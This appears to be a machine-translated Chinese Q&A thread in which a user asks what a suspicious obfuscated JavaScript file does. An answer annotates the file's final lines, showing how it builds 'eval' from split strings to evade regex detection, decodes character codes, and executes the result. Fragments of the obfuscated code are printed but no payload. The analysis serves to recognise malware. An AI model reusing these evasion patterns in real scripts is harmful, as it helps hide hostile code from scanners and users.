2015-12-13 26 views
-4

我在网上找到这个JavaScript文件。这个JavaScript文件在做什么?

这是文件的开始。

var oa3a28a = ""; 

function yd4e965b5fad4() { 

    var t538e19 = String; 
    var db7a0e0d5 = Array.prototype.slice.call(arguments).join(""); 
    var f38bc768 = db7a0e0d5.substr(1, 3) - 322; 
    var da49fad5; 
    var pe0cce; 
    var db7a0e0d5 = db7a0e0d5.substr(m1fe4220a()); 
    var s604bd1 = db7a0e0d5.length; 

    for(var g464f2c0 = 0; g464f2c0 < s604bd1; g464f2c0++){ 

    try{ 

     throw(mf5f1dc32 = db7a0e0d5.substr(g464f2c0,1)); 

    ... 

CodePen look JS

我认为他窃取用户数据并将其发送到服务器。

你觉得这个JavaScript文件最多是?

还是我错了?

+0

这是不可能不看整个文件说。它被混淆了,所以它很可能会做一些“坏事”。 –

+0

'我认为他窃取了用户数据并将其发送到服务器。 你认为这个JavaScript文件是否不知道,但我不傻,点击链接找出。 –

+0

哈:))你看到这个链接到Codepen。大声笑 – haacki47

回答

0

我不知道正是JavaScript做什么,但看到最后几行,我看到,它不会做任何事情好:

[0].split('i'); 

// In this line creates a variable called "eval" but with operators 
// It is used to make it undetectable by `RegExps` 
v = "ev" + "al"; } 

// Here declare an "e" variable with window["eval"] value (the eval function) 
if(v) e = window[v]; 
w = f; 
s = []; 
r = String; 

for(;692!=i;i+=1){ 
    j = i; 

    // Here an "s" variable is incremented using the String.fromCharCode mehod 
    s += r["fromC"+"harCode"](40 + 1 * w[j]); 
} 

// Here a variable "z" is declared with the value of "s" 
if(f) z = s; 

// Here the function eval is called using the "z" var as parameter 
e(z);